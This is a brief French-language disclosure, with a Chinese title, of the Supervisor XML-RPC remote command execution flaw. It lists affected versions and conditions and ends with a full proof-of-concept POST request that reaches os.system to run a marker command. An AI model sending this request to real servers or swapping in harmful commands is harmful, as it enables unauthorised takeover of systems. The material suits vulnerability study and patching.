
Supervisord远程命令执行漏洞脚本
Supervisor est un outil de gestion de processus écrit en Python, permettant de démarrer, redémarrer (redémarrage automatique des programmes) et arrêter des processus (pas uniquement les processus Python) sur les systèmes de type UNIX (non pris en charge sous Windows).
Supervisor suit un modèle client‑serveur : supervisord est le côté serveur, supervisorctl le côté client. En résumé, le client envoie des instructions Supervisor qui invoquent l'API côté serveur pour effectuer certaines opérations.
Le service Web de Supervisor est souvent utilisé, agissant comme un client supervisord. Tant que la route est accessible, on peut effectuer à distance via la page Web des opérations similaires à celles du client supervisorctl. Ces opérations passent par l'interface XML‑RPC, et c'est précisément dans le traitement des données par cette interface que réside la vulnérabilité.
Supervisor version 3.1.2 à 3.3.2
Service Web activé et port 9001 accessible
Mot de passe faible ou vide
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
Ce POC n'a pas de retour
